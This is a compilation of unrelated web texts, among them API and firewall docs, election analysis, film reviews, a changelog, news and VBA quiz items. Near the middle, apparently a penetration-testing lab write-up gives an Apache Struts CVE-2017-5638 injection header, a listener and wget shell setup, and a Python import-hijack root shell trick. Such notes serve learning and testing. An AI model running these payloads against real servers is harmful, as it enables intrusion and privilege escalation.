Revoke a token
--------------
Endpoint:
https://auth.iudx.org.in/auth/v1/token/revoke
Description:
This API is used to revoke a valid access token.
Called by:
A "data provider" or a "data consumer" with a valid class-3 or above certificate.
Methods:
POST
Headers:
content-type : "application/json"
Body in JSON format:
{
"tokens" : <array of tokens to be revoked> (to be sent by a data consumer)
"token-hashes" : <array of token-hashes to be revoked> (to be sent by a data provider)
}
Note: Either of "tokens" or "token-hashes" must be provided; not both.
Note: Data providers can get the "token-hashes" using the "audit/tokens" API.
HTTP response codes:
200
If token has been successfully revoked.
403
If token is invalid.
429
If the user makes too many requests.
Using pyIUDX SDK:
from pyIUDX.auth import auth
# as a data consumer
iudx_auth = auth.Auth("consumer-certificate.pem","private-key.pem")
tokens_to_revoke =<EMAIL_ADDRESS>iudx_auth.revoke_tokens(tokens_to_revoke)
# as a data provider
iudx_auth = auth.Auth("provider-certificate.pem","private-key.pem")
token_hashes_to_revoke = ["6d025974c916cadf8f683a99c65ebce871913118"]
iudx_auth.revoke_token_hashes(token_hashes_to_revoke)
CURL example:
Request:
curl -XPOST https://auth.iudx.org.in/auth/v1/token/revoke
--cert certificate.pem --key private-key.pem
-H 'content-type: application/json'
-d '{"tokens"<EMAIL_ADDRESS>Response:
200 OK
content-type : "application/json"
{
"num-tokens-revoked" : 1
}
See also:
audit tokens API:
http://auth.iudx.org.in/audit-tokens.html
token revoke all API:
http://auth.iudx.org.in/token-revoke-all.html


After finishing fifth in Iowa's chaotic caucuses, Amy Klobuchar headed into New Hampshire's primary primary looking for a boost – and she got one. She exceeded expectations to land in third place with about 20% of the vote, beating former Vice President Joe Biden and Massachusetts Sen. Elizabeth Warren.
Klobuchar heads into Nevada and South Carolina with some wind at her back, though those demographically diverse states may prove more challenging.
New Hampshire – a predominantly white swing state dotted with small towns – is the sort of place Klobuchar has argued she could reach due to her strong support at home in greater Minnesota.
Mapping the results by New Hampshire township reveals where Klobuchar performed best. While she only received the most votes in 25 towns, she finished second behind U.S. Sen. Bernie Sanders or former South Bend Mayor Pete Buttigieg in about 75 other places. Here's a closer look at her performance in the Granite State:
Ranked placement by votes
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A split vote possibly helped Sanders
Some observers have wondered whether Klobuchar's surge may have peeled votes away from Buttigieg and benefited Sanders, who's New Hampshire win this time was slimmer than in 2016 and didn't reach a vote majority.
It isn't always clear whom a voter's second choice might be based on the ideology of their first choice, nor is it clear how Sanders would perform with fewer rivals on the ballot.
But it is clear that Klobuchar and Buttigieg – candidates perceived as moderate Democrats – drew more votes than the two progressive standard-bearers, Sanders and Warren.
Klobuchar's New Hampshire constituency was somewhat ideologically and demographically broad, according to a FiveThirtyEight analysis, while some of her biggest boosts came from college-educated white women, older voters and those who were undecided until late. And similarly to Buttigieg, she did well with voters identifying as moderate or conservative.
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44.2% |
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24.4 |
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Amy Klobuchar
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58,796 |
19.8 |
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103,711 |
34.9% |
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Bernie Sanders
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76,324 |
25.7 |
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Elizabeth Warren
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27,387 |
9.2 |
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The road to Super Tuesday
In the next couple weeks, Nevada and South Carolina will hold caucuses and a primary, respectively, the final two contests before Super Tuesday on March 3, where Minnesota and about a third of Democratic delegates are up for grabs.
Klobuchar's polling in bigger states has been weak, according to Real Clear Politics averages, though many of those surveys were conducted before Iowa. As upcoming states are polled more heavily, Klobuchar could see further bumps in support.
To continue her momentum though, she will need to further expand her support base and draw votes from more diverse corners of the Democratic electorate.
Data source: Associated Press, Real Clear Politics


. CONSPIRACY THEORY A film review by Christopher Null Copyright 1997 Christopher Null
Hitting theaters shortly, with surprisingly little fanfare, is CONSPIRACY THEORY, a very long and very scattered production which introduces the never-before-used plotline that the government is full of bad guys.
I was intrigued at first: as the ads tout, a conspiracy nut (Mel Gibson) suddenly learns one of his theories is true, and everyone's out to get him. And in the process, he has to protect a redhead (Julia Roberts). That would normally be enough for me, but without spoiling the movie for you, that just ain't what the movie is about.
While the central plot twist turns out to be pretty shocking, it can't make up for the sad reality that THEORY has an appalling script -- and most notably that the dialogue is totally ridiculous.  Clocking in at well over two hours, THEORY quickly earns a place on the too-much-of-a-bad-thing wall. In the end, the movie makes enough sense, but it leaves so many loose ends dangling that it's hard to care.
Oh well, I guess a Julia Roberts fetish can't overcome a crummy script and bad production values after all.
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THE MATRIX
What's worse than Y2K? How about a fully digital future where NOTHING is real? That's what computer programmer Neo (Keanu Reeves) slowly learns as he enters the dangerous world that is The Matrix, a movie directed by The Wachowski Brothers (the guys behind the hip thriller Bound).
Before you groan at the presence of Reeves in the lead role, hold on. There's actually a story with depth here. It seems that a group of hackers is out to stop the system that is The Matrix, led by the bald but brilliant Laurence Fishburne and assisted by Carrie Ann Moss, who looks quite cool in leather, I must say. Neo (Reeves) is pretty much a key player in this fight, although he really doesn't look it at first. Could this amateur be "the one" as Fisburne thinks he is?
Credit the Wachowskis for putting together a great story that allows suspense to build, something that few special effects-laden films seem to do these days. There's plenty of effects to go around, of course, but at least there's a backbone to build them on as well. Reeves is surprisingly good in his role as Neo, particularly in a fight scene with Fishburne that comes across as goofy, yet great.
I wish the villains weren't quite so "generic" (leftover G-Men from looking for a sweet sci-fi actioner with plenty of stop-motion swooping camera angles and, of course, a motherlode of a helicopter explosion. Now the Wachowskis are headed into horror films with their next project. Bring it on.
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NEWS.md
plot_signalp()
has been deprecated and removed.
get_signalp5()
now works with https://services.healthtech.dtu.dk/service.php?SignalP-5.0 site since the old link http://www.cbs.dtu.dk/services/SignalP/ does not function any longer.
get_signalp()
now works with https://services.healthtech.dtu.dk/service.php?SignalP-4.1 since the old link http://www.cbs.dtu.dk/services/SignalP-4.1/ does not function any longer.
get_signalp()
now now runs one job at a time.
get_signalp()
splitter argument default value has been changed to 1000.
get_signalp()
sleep argument has been removed.
get_targetp()
now works with https://services.healthtech.dtu.dk/service.php?TargetP-1.1 since the old link http://www.cbs.dtu.dk/services/TargetP-1.1/ does not function any longer.
get_targetp()
now now runs one job at a time.
get_targetp()
splitter argument default value has been changed to 1000.
get_targetp()
sleep argument has been removed. .
get_cdd()
which queries the the Conserved Domain Database (https://www.ncbi.nlm.nih.gov/Structure/bwrpsb/bwrpsb.cgi)get_signalp5()
which queries SignalP5 web server (http://www.cbs.dtu.dk/services/SignalP)get_tmhmm()
which queries TMHMM v. 2.0 web server (http://www.cbs.dtu.dk/services/TMHMM/)plot_prot()
nsp
argument can now be "signalp"
, "signalp5"
or "none"
. Default is "signalp5"
. This argument determines if get_signalp()
or get_signalp5()
are used for N-sp prediction. Data.frame input is accepted as well.plot_prot()
tm
argument can now be "phobius"
, "tmhmm"
or "none"
. Default is "phobius"
. This argument determines if get_phobius()
or get_tmhmm()
are used for TM prediction. Data.frame input is accepted as well.plot_prot()
domain
argument can now be "cdd"
, "hmm"
or "none"
. Default is "cdd"
. This argument determines if get_hmm()
or get_cdd()
are used for domain annotation. Data.frame input is accepted as well.get_*
and scan_*
functions, as well as maab()
now work with AAStringSet
class objects. #5get_signalp()
output contains an additional column sp.length
- integer, length of the predicted signal peptide. This column is a copy of Ymax.pos
. Potentially BREAKING CHANGEget_phobius()
output contains an additional column sp.length
- integer, length of the predicted signal peptide. Potentially BREAKING CHANGE
get_phobius()
the name of the output column “Name
” has been changed to “id
”. BREAKING CHANGE
plot_prot()
default value for gpi
argument has been changed to “netgpi
”.get_netGPI()
now now runs one job at a time.
get_netGPI()
splitter argument default value has been changed to 2500.
get_targetp()
has been fixed to work with org_type = "non_plant"
.
get_espritz()
has been restored since Espritz server is again available at http://old.protein.bio.unipd.it/espritz/.
plot_prot()
has new arguments gpi_size
- controls the size of the gpi symbol and gpi_shape
- controls the shape of the gpi symbol.
plot_prot()
has new argument hyp_scan
- which is a logical and determines if scan_ag()
(when ag = TRUE
) should scan for arabinogalactan motifs containing only predicted hydroxyprolines. This argument changes the previous default behavior of plot_prot()
which was equivalent to hyp_scan = FALSE
.
get_phobius()
and get_big_pi()
now use https web server addresses. #6
get_espritz()
has been removed since Espritz server is no longer available for obtaining predictions. BREAKING CHANGE.plot_prot()
arguments nsp
, domain
, tm
, gpi
and disorder
can also be user supplied data frames obtained by calling get_signalp()
, get_hmm()
, get_phobius()
, get_big_pi()
, get_pred_gpi()
, get_netGPI()
and get_espritz()
on the same sequences supplied to plot_prot()
.get_big_pi()
output column is.bigpi
has been renamed to is.gpi
to bring the output in line with other gpi predicting functions. BREAKING CHANGE.get_big_pi()
output column order has been changed to: id
, is.gpi
, Quality
, omega_site
and PValue
. BREAKING CHANGE.New get_netGPI()
queries NetGPI web server (https://services.healthtech.dtu.dk/service.php?NetGPI-1.0) for predictions of GPI-anchored proteins.
maab()
argument get_gpi
has an additional option "netgpi"
. When set, the function will query NetGPI web server to resolve ambiguities in maab classes depending on GPI-anchoring predictions.
plot_prot()
argument gpi
has an additional option "netgpi"
. When set, the function will query NetGPI web server for prediction of omega sites.
maab()
now correctly performs when only a single protein sequence is provided as an argument.
get_hmm()
receives additional numeric arguments: ievalue
and bitscore
. These arguments are used to filter sequences with lower or equal ievalue
and higher or equal bitscore
in the output. This is useful when used from plot_prot()
to avoid plotting weakly identified domains.
get_big_pi()
and get_pred_gpi()
now return NA
in respective is.bigpi
and is.gpi
columns when the servers are unable to make a prediction due to non-amino acid letters or length of the sequence.
maab()
now correctly does not resolve class ambiguities when the logical vector provided as gpi
argument contains NA
values. Previously it returned NA
as maab_class
. This is useful when maab()
is called with get_gpi = 'predgpi'
or get_gpi = 'bigpi'
arguments, and the corresponding servers are unable to make a prediction for a sequence due to non-amino acid letters or length of the sequence.
predict_hyp()
internal model is updated to 2nd version (‘V2’). Predictions are around 25% faster compared to the first version. The performance in terms of accuracy is similar based on the test set used. ‘V2’ was created using a more streamlined manner and is the default model. The old model (‘V1’) is still available using the version
argument to predict_hyp()
.predict_hyp()
now checks if all provided ids are unique. Previously non unique ids caused an error at the end of computation.
predict_hyp()
sequence
output has changed for sequences containing non amino acid letters. Previously NA was returned for such sequences. At present all “P”" for which the probability is higher then the defined threshold (tprob
argument) are changed to “O”" and all others are left as “P”.
maab()
now correctly outputs when there are no MAAB classes found and get_gpi
argument is set to "predgpi"
or "bigpi"
. Previously this caused an error due to stringr::write.fasta()
attempting to write a file with no sequences.
pfam2go()
now takes Pfam > GO mappings from ftp://ftp.geneontology.org/pub/go/external2go/pfam2go instead of http://geneontology.org/external2go/pfam2go.
get_phobius()
, get_big_pi()
, get_pred_gpi()
, maab()
and plot_prot()
, gain an additional argument progress
. progress
is a logical value determining whether to show the progress bar, (default FALSE
).
get_targetp()
, get_signalp()
and get_hmm()
argument progress
is now set to FALSE
at default.
get_hmm()
argument verbose
is now set to FALSE
at default.
added pkgdown
site for ragp
at: https://missuse.github.io/ragp/.
get_targetp()
and get_signalp()
gain additional arguments progress
and attempts
. progress
is a logical value determining whether to show the progress bar, (default TRUE
). attempts
is an integer value determining the number of repeated attempts if server unresponsive (default 2). These functions now return finished queues if server becomes unresponsive.get_big_pi()
, get_espritz()
,get_hmm()
, get_phobius()
, get_pred_gpi()
, get_signalp()
, get_targetp()
, maab()
, predict_hyp()
, scan_ag()
and scan_nglc()
now use the S3 object system which will make further extensions of accepted inputs straightforward.Completely rewrote the code for scan_ag()
which is now simplified and easier to read. The function is now about 20% slower.
fixed a bug in scan_ag()
when argument exclude_ext = "all"
which resulted in detection of unwanted amino acids in certain sequence arrangements. The bug occurred only if AG glycomoduls were detected, it did not introduce any. If you used this function with exclude_ext = "all"
it is advisable to rerun these analyses again.
removed deprecated functions: get_signap_file()
, get_targetp_file()
, get_phobius_file()
.
New get_espritz()
queries ESpritz web server for predictions on protein disordered regions.
plot_prot()
gains an additional argument disorder
, logical indicating should the predicted disordered regions be plotted. Defaults to FALSE
.
plot_prot()
introduced in <IP_ADDRESS>3 which prevented GPIs to be plotted when gpi = "bigpi"
.get_pred_gpi()
queries PredGPI web server for predictions on GPI presence and omega site location.maab()
argument get_gpi
has been changed and now accepts strings as input: get_gpi = c("bigpi", "predgpi", "none")
which indicate whether to query Big Pi or PredGPI server or not to resolve class ambiguities.
plot_prot()
argument gpi
has been changed and now accepts strings as input gpi = c("bigpi", "predgpi", "none")
which indicate whether to query Big Pi or PredGPI server or not to plot GPI positions.
fixed a bug in plot_prot()
which caused extra-cellular regions to start at 0 instead of 1.
fixed a bug in get_big_pi()
when shorter than 55 amino acid sequences were provided.
When using plot_prot()
with argument dom_sort = "ievalue"
the domains with the lowest independent e-value will now be correctly plotted on top.
The ratio of x and y axes in plot_prot()
output is now calculated based on sequence length and should provide more consistent diagrams.
get_hmm()
can now handle protein sequences of arbitrary length by splitting them into several shorter overlapping sequences and querying hmmscan.
New plot_prot()
returns a ggplot2
diagram of protein structure based on hmmscan
domain annotation and several types of predictions.
New get_signalp()
, get_targetp()
and get_phobius()
replace deprecated get_signalp_file()
, get_targetp_file()
and get_phobius_file()
. These functions accept R objects as well as FASTA files as input (#5).
New plot_signalp()
takes one single letter protein sequence and returns a detailed SignalP prediction along with a plot.
New scan_nglc()
detects motifs for N-glycosylation on asparagine residues.
maab()
gain an additional logical argument get_gpi
(default FALSE
); if TRUE
get_big_pi
will be called on all sequences belonging to one of the HRGP classes thus resolving class ambiguities that depend on GPI knowledge.
Added a NEWS.md
file to track changes to the package.
Significantly improved the speed of get_big_pi()
. Removed the verbose argument. Added a progress bar (#3).
get_hmm()
gains new arguments: timeout
- time in seconds to wait for the server response (default is 10s). attempts
- number of attempts if server unresponsive (default is 2 times) (#3).
get_signalp()
and get_targetp()
now perform 10 parallel queries instead of arbitrary many. This results in higher stability when running on many sequences, and a slight reduction in speed. These functions now have a progress bar.
get_phobius()
gains a progress bar.
Changed internal behavior when trunc
argument is specified for get_signalp()
. Now the truncation is performed prior to sending the files to the server resulting in higher efficiency.
scan_ag()
gains logical tidy
argument. The specific output is available when simplify = FALSE
and tidy = TRUE
in function call (#1).


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UKCloud Limited (“UKC”) and Virtual Infrastructure Group Limited (“VIG”) (together “the Companies”) – in Compulsory Liquidation
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For any general queries relating to the Liquidations please email<EMAIL_ADDRESS>For customer related queries please email<EMAIL_ADDRESS>For supplier related queries please email<EMAIL_ADDRESS>How to configure a Distributed Firewall
Overview
UKCloud for VMware provides Distributed Firewall (DFW) functionality as part of its Advanced Management bundle (additional charges apply). DFW enables microsegmentation of networks at the virtual data centre (VDC) level. It can inspect every packet and frame coming to and leaving the VM regardless of the network topology. Packet inspection is done at the VM virtual NIC (vNIC) level, which enables access-control lists (ACLs) to be applied closest to the source.
You can have a routed or isolated network on a vApp and still use a DFW at the VDC level to complement it. The NSX edge handles North-South bound traffic while the DFW is designed to manage East-West bound traffic.
The DFW rules can be based on Layer 2 (L2) up to Layer 4 (L4).
Layer 2 (L2) rules (Ethernet tab) are based on MAC address L2 protocols like ARP, RARP and LLDP
Layer 3 (L3) rules (General tab) are based on IP source destination
Layer 4 (L4) uses a TCP or UDP service port
L2 (Ethernet) firewall rules are processed before L3 rules. The default firewall rule allows L2 and L3 traffic to pass through your VDCs. Once you've implemented all the rules, you can change this to block. Rules are always read and enforced from top-to-bottom ordering like any traditional firewall.
DFW rules can have one or more of the following entities as the source or destination: Org VDC networks, virtual machines, Org VDCs, MAC sets (L2 – Ethernet), IP sets (L3 – General) or security groups.
Note
Running open VMare tools on VMs has not been validated with DFW.
Configuring a Distributed Firewall
To access the DFW:
In the VMware Cloud Director Virtual Data Center dashboard, select the VDC that contains the DFW you want to manage.
In the left navigation panel, under Networking, select Security.
Select the Security Services for your VDC, then click Configure Services.
Even though other VDC security policies are listed in this section, you cannot launch the configuration until you switch to the relevant VDC. You can confirm which VDC you are in by looking at the Data center name displayed at the top of the page. To go back to all VDCs, click All Virtual data centers.
In the Distributed Firewall > General tab of the Services dialog box, select Enable Distributed Firewall.
This creates default rules in both the General (L3) and Ethernet (L2) tabs.
In the General tab, click the + button to add a new L3 rule.
Define the L3 rule:
Field Action Name Enter a name for the rule. Source Hover over the field, then click the IP button to enter a single IP address or an IP range. When you're done, click Keep. Destination Hover over the field, then click the IP button to enter a single IP address or an IP range. When you're done, click Keep. Service Hover over the field, then click the IP button to add the relevant Protocol and Port. When you're done, click Keep. Action Select Allow or Deny. Direction Select In, Out or In/Out. Packet Type Select IPv4, IPv6 or Any. Applied To Hover over the field, then click the + button to select whether to apply the rule to an edge, Org VDC network, virtual machine, Org VDC or security group. Select the specific object then click the right arrow to add it. When you're done, click Keep. When you're done, click Save changes.
Creating a group of objects
In some VDCs, you may want to use the same set of objects in multiple rules. For example, you may want to group web servers or other application servers together to use in a ruleset. Grouping objects keeps the firewall ruleset clean and easy to read.
Creating a group of IP addresses
You can create a group of IP addresses (IP set). This can be a combination of individual IPs and IP ranges.
To create an IP set:
In the Services dialog box, select the Grouping Objects tab.
In the IP Sets tab, click the + button.
Fill out the fields in the New IP Set dialog box:
Field Action Name Enter a name for the IP set, ideally without any spaces or special characters. Description Enter a description for the IP set. IP Addresses Enter the IP addresses that you want to include in the IP set. You can include a combination of individual IP addresses and IP ranges. You can also use CIDR format, for example <IP_ADDRESS>/24
.Inheritance Select this option to enable the IP set to be consumed by underlying scopes. When you're done, click Keep.
Creating a group of MAC addresses
If you want to use MAC address based filtering, it is easier to group the addresses in a MAC set. In a cloud environment, you need to be prepared for MAC address changes.
Tip
We recommend that you base firewall rules on VMs, Org VDC networks or security groups for L2 filtering.
To create a MAC set:
In the Services dialog box, click the Grouping Objects tab.
In the MAC Sets tab, click the + button.
Fill out the fields in the New MAC Set dialog box:
Field Action Name Enter a name for the MAC set. Description Enter a description for the MAC set. MAC Addresses Enter the individual MAC addresses for your servers. Inheritance Select this option to enable the MAC set to be consumed by underlying scopes. When you're done, click Keep.
Creating services and service groups
Note
Currently, you cannot create custom services or service groups.
You can use predefined services with relevant protocols and ports in your firewall rules.
Service groups contain multiple application ports and components, for example, Microsoft SQL Server requires a number of ports for all different services, which is simplified in the Microsoft SQL Server service group.
Creating a security group
Security groups enable you to categorise based on the access level required. If you have a number of servers performing similar roles and services, you can create a security group for them. Security groups also enable you to add dynamic members based on VM guest OS name, VM name and VM guest host name
In the Services dialog box, click the Grouping Objects tab.
In the Security Groups tab, click the + button.
In the New Security Group dialog box, enter a Name and Description for the security group.
In the Dynamic Member Sets section, click the + button and specify the criteria for the security group.
In the image below, any existing VM with
App
in its name and any VM created in the future withApp
in its name will be included in the security group.In the Include Members section, instead of creating the members of the group dynamically, you can explicitly specify members to include in the group. Members can include VMs, Org VDC networks, IP sets, MAC sets or security tags.
Select the type of object, then select individual objects and click the right arrow to add them to the group.
In the Exclude Members section, you can exclude specific objects from the security group.
Select the type of object, then select individuval objects and click the right arrow to exclude them from the group.
When you're done, click Keep.
Feedback
If you find a problem with this article, click Improve this Doc to make the change yourself or raise an issue in GitHub. If you have an idea for how we could improve any of our services, send an email to feedback@ukcloud.com.


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Index
A C D G I L M P R S V
All Classes|All Packages
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A
- add(E) - Method in interface PriorityQueueFunction
- add(E) - Method in class VectorHeap
C
- clear() - Method in interface PriorityQueueFunction
- clear() - Method in class VectorHeap
D
- data - Variable in class VectorHeap
- dic - Static variable in class Driver
- Driver - Class in <Unnamed>
- Driver() - Constructor for class Driver
G
- getFirst() - Method in interface PriorityQueueFunction
- getFirst() - Method in class VectorHeap
I
- isEmpty() - Method in interface PriorityQueueFunction
- isEmpty() - Method in class VectorHeap
L
- left(int) - Static method in class VectorHeap
M
- main(String[]) - Static method in class Driver
P
- parent(int) - Static method in class VectorHeap
- percolateUp(int) - Method in class VectorHeap
- pq - Variable in class VectorHeap
- PriorityQueueFunction<E extends java.lang.Comparable<E>> - Interface in <Unnamed>
- pushDownRoot(int) - Method in class VectorHeap
R
- remove() - Method in interface PriorityQueueFunction
- remove() - Method in class VectorHeap
- right(int) - Static method in class VectorHeap
S
- size() - Method in interface PriorityQueueFunction
- size() - Method in class VectorHeap
V
- VectorHeap<E extends java.lang.Comparable<E>> - Class in <Unnamed>
- VectorHeap() - Constructor for class VectorHeap
- VectorHeap(Vector<E>) - Constructor for class VectorHeap
All Classes|All Packages


Methods to Address Obstetric Hemorrhage
Previously published and implemented maternal hemorrhage prediction models input a baseline number of considerations with the goal of using as few as necessary inputs. These methods are useful, and represent a small activation energy to implementation.
Links about hemorrhage risk:
- CMQCC - California Maternal Quality Care Collaborative
- Modified CMQCC - Modified based on clinical validation testing
- MSBOS - Maximal Surgical Blood Ordering System
- Numerical Estimation/Stratification of Risk - Coming Soon (upon publication)


Saracens fined for not attending Champions Cup season launch earlier this month
It is the club’s second punishment in a matter of weeks.
Saracens have been hit with another fine a day after they agreed not to appeal against a £5.36million punishment for salary-cap breaches.
Sarries have been penalised for breaching the 2019-20 Heineken Champions Cup participation agreement by not making required club representatives available for a key European Professional Club Rugby promotional event.
EPCR has fined the reigning Heineken Champions Cup holders an undisclosed sum, and confirmed it has already been paid by the club.
Saracens on Monday agreed “with humility” to accept a 35-point deduction and significant fine for breaches across a three-season period, up to and including the 2018-19 campaign, following a nine-month investigation by Premiership Rugby.
This latest episode adds to Saracens’ ongoing embarrassment.
Director of rugby Mark McCall and captain Brad Barritt had been scheduled to attend the official season launch of the 2019-20 Champions Cup and Challenge Cup for Premiership and PRO14 clubs, staged at Cardiff’s Principality Stadium on November 6.
But an EPCR statement read: “Having previously indicated that they would be represented at the event, Saracens’ failure to attend constituted a breach of the 2019-20 Heineken Champions Cup media rules, and compromised EPCR’s ability to deliver the rights contracted to its broadcast, commercial and media partners.”
The statement added: “In light of this breach of its rules, EPCR has decided to impose a fine on Saracens which has been paid by the club, and the sum of which will remain undisclosed.
“EPCR appreciates the subsequent efforts made by Saracens to grant rights-holding broadcasters special interview access to members of their Heineken Champions Cup squad in the week before the start of the tournament.”
The club – 26 points adrift at the foot of the Premiership on -22points – began their Champions Cup defence with a comprehensive 30-10 defeat at Racing 92 on Sunday.


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Good to know: pages last modify date
404/error pages can leak web server. We notice TomCat here.
Attempt /manager login with no success
Typical for some pages to have an /webpage.do, but we notice here it's /webpage.action
.action can be indicative of firing a Struts action.
Detecting Struts version:
Locally: manfest
Remote: Add a header with math and see if it gets computed
Detection string taken from qualys: https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution
Content-Type: %{$context['com.opensmphony,xwork2.dispatcher.HttpServletResponse']..addHeader('X-Qualys-Struts',3195*5088)}.multipart/form-data
If successful, the web server should respond with "X-Qualys-Struts: 16256160" or whatever your header was.
Since it worked, we can go back to the qualys page and search for CVE-2017-5638 exploits: https://github.com/mazen160/struts-pwn
Notice ipv4 seems filtered, try ipv6
ncat -6lvnp 443
wget -6 https://[dead:beef:2::100b]
Still doesn't work, so need to find another way around.
'Forward-shell' through HTTP requests. Using Sokar/Inception shell with slight edits. The original shell from sokar was deleted, so this features updates from different coders.
Privesc:
Python tries to load libraries from the current working directory first. Abusable!
You can verify this with:
python3 -c 'import sys; print(sys.path)';
or similar
Exploiting python imports. Python will import libraries from current dir, so if you can write to cwd, you can do something like:
nano <imported_lib>.py
import os
os.system("/bin/bash")
and when the imported lib is called...congrats, you get a shell!
Another really cool trick is to exploit python2's input() which is basicaly eval(). What happens when you input commands to evaluate when prompted??
https://www.floyd.ch/?p=584
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
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While I don't typically read End User License Agreements, I was pointed to the following phrase that exists in the End User License Agreement for Palo Alto Networks equipment:
1.3 License Restrictions: End user shall maintain Products in strict confidence and shall not: [...] (d) disclose, publish or otherwise make publicly available any benchmark, performance or comparison tests that End User runs (or has run on its behalf by a third party) on the Products;
I trust you can think through the implications of this restriction on your own. It certainly adds additional color to the recent public spat between NSS and Palo Alto Networks.


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Downloadable SVG in PNG Format
Recently, I worked on some interesting features, we use Highcharts and/or Raphaeljs to build complex charts, including bar chart, scatter chart or heat map, etc. In an extreme sample, we build a complicated one-page charting engine by which user is able to compose a group of conditions and then render a meaningful chart according to what are selected. It’s pretty cool.
Meanwhile, client is willing to download these generated charts on individual chart level. They also want to have an ability to share the individual chart as a link or even as a piece of HTML code. What’s the best solution to add these functionalities? Well, we did try many solutions for the features, let me show you how we make it finally.
Start from a HTML template
Above HTML code is the generated content on my page, I will mainly explain the solution based on it. Here is also a sample SVG file: sample.svg, you can use it to go through the whole senario if you want to experiment by yourself.
Deal with SVG via HTML5 Canvas
HighCharts and Rapheal are JS libaries by which you are able to generate complex SVG charts, normally, people can not download a svg file directly, and it’s also not a popular image format for sharing around. We’d better convert it to a PNG or JPG image, as PNG and JPG format is downloadable from web page. I will take PNG format as a sample in this post.
How to convert a SVG image to a PNG image? Mainly, you can do the convertion job from server side. There is a SVG toolkit provided by Apache which is named as Batik. But I don’t like this solution, it’s a bit comoplex to install Batik and make it work with Ruby on Rails. I’d like to work the convertion out via pure javascript. Yes, use canvg to move all SVG information to a HTML5 Canvas object.
Using the HTML5 canvas element, you can create all sorts of cool graphics client-side on the fly using Javascript. There is a neat function on the the canvas object called toDataURL(). This functions encodes the image data as a base64 encoded PNG file and returns it as a data: URI. By using the data:URI string, you can make it a downloadable PNG file.
There is also a libary to help you do so, it’s Canvas2Image that can convert canvas to image as BMP, PNG or JPEG format.
Customize default filename while downloading
Canvas2Image lib will implement a pop out window to allow you download the data:URI as a PNG image file with a default name download
, which is not acceptable by our client, I have to figure out a way to customize the downloadable filename.
It might be easy if you just want to cover your Chrome or Firefox user, as there is a download
attribute for
tag, when you set it as something like
then you will get the default filename in this the case when you click the download link.
I am not lucky, I have to cover IE9 at least. So I need to push the data:uri to server, then I can render the data with specific headers(see below code), that will make the downloadable file with a customized file name.
Pay attention to above html2canvas([$(".hidden_container")[0]],{ … })
parts. It helps to convert whole HTML code to a canvas based on html2canvas lib, that’s our case as we have to wrap up some HTML code out side the the charts.
A trick to overcome IE9 issue
When you work on IE9, the canvg fails to translate the SVG to Canvas, it seems IE9’s DOMParser()
is not able to parse the SVG successfully. After some search from Google, we found only one line code will resove the SVG parser issue. Just replace some invalid string in SVG data as below:
Conclusion
To summarize this post, you are suggested to use several JS libs above to convert SVG
to Canvas
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to PNG
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to Canvas
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Safe theft gang dismantled in Porto
The burglary of large safes was the specialty of a criminal group dismantled on Sunday, 24 November, by PSP Porto, which will have profited between 150,000 and 200,000 Euros in at least 15 robberies, police source revealed on 25 November.
According to Commissioner Afonso Sousa, from the Porto PSP Criminal Investigation Division, the group was “improving” in the assault on “oversized” column vaults, and in particular stole money and jewellery.
"He was working on robberies in establishments in Porto and did a thorough and preliminary study of the places to be robbed," he added, explaining that although the safes were the main target, they ended up stealing other goods.
In the group, there were “perfectly defined functions”, with a hard core responsible for the robberies, and the others participated in the sale of the theft product, the source said.
All robberies were completed at night or early in the morning.
During one of the robberies, which took place on the public highway in Vila Nova de Gaia, an 82-year-old man died in a case whose investigation was carried over to the Judiciary Police.
The PSP explained that there is not yet the result of the autopsy, but its "belief" is that the octogenarian was not killed by the robbers, but the victim of a health problem.
The detainees are eight, seven men, between 52 and 62 years old, and a woman of 47 years.
In 15 assaults that have already been attributed to him by the investigation, the group has profited between 150,000 and 200,000 Euros, said Commissioner Afonso Sousa, who believes, however, that the group has consummated other thefts and robberies.
The group's dismantling operation was launched on 24 November and involved more than 100 professionals from PSP's Criminal Investigation Division, Special Police Unit and Rapid Intervention Teams.
Thirteen home search warrants were fulfilled, four in other locations and five in vehicles in the cities of Porto, Gondomar, Matosinhos, Santa Maria da Feira and São Pedro do Sul.
Among the material seized are articles of sacred art, safes, fur coats, computers, electric and conventional weapons, electronic equipment inhibiting alarm systems, tools used to break the safes, among others.
The operation followed an investigation initiated five months ago.


Child arrested for allegedly killing grandmother
by Algoa FMKZN police have confirmed that the person arrested on suspicion of murdering a Tongaat woman is her 13-year-old granddaughter.
The 63-year-old Fairbreeze resident was found bludgeoned to death in her home on Monday.
The woman's grandchild told police at the time that she was hanging clothes on the line outside when she heard her grandmother's screams.
The girl said she ran inside the house to find a man, armed with a hammer, attacking her granny.
She claimed she tried to intervene but the man pushed her out of the house and locked the door.
The police's Thembeka Mbele says detectives found that the girl's statement did not add up and she reportedly confessed to her mother.
She says the child will appear in court soon and is currently in custody.
source: ECR


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Visual Basic for Applications (VBA)
Q1. Which two sets of values are printed by this function and sub?
Function GetVitals(ID As Long, Age As Long, ptional Weight As Long) As String
GetVitals="ID=" & ID &"Age=" & Age & "Weight=" & Weight
End Function
Sub ShowVitals()
Dim ID As Long, Age As Long,Weight as Long
Debug.Print GetVitals(ID:=5,Age:=20)
Debug.Print GetVitals(ID:=6,Age:=25,Weight:=130
End Sub
- [ ] id=5 Age = 20 Weight= ID=6 Age = 25 Weight=130
- [ ] id=5 Age = 20 Weight=0 ID=6 Age = 25 Weight=130
- [ ] id=5 Age = 20 Weight=Null ID=6 Age = 25 Weight=130
- [ ] id=5 Age = 20 ID=6 Age = 25 Weight=130
Q2. This code shows the first statement of CalledSub. Which calling statement will work properly?
Sub CalledSub(Surname, Age)
- [ ] call Calledsub "smith",26 - [ ] calledsub (surname="smith", Age = 26) - [ ] calledsub (Surname:="Smith", Age:=26) - [ ] calledsub "smith", 26
Q3. What is the principal difference between a class and an object?
- [ ] There is no meaningful difference. The terms are used interchangeably.
- [ ] A dass declares an object's properties. An object completes the declaration by defining events and methods.
- [ ] An object is a template for a class.
- [X] A class describes the design of an object. An object is an instance of that design.
Q4. What value does the MsgBox statement display?
Sub MySub(VarA As Long, ParamArray VarB() As Variant)
MsgBox VarB(0)
End Sub
Sub ShowValue()
Call MySub(10, "First arg", 2, 3.1416)
End Sub
- [ ] 2
- [ ] 10
- [x] First arg
- [ ] 3.1416
- [ ] associated standard code module
- [ ] UserForm
- [ ] associated class module
- [ ] userForm class
Q6. What is the output?
Sub UseSum()
Dim TestArray() As Integer, Total As Integer
ReDim TestArray(1)
TestArray(1) = 6
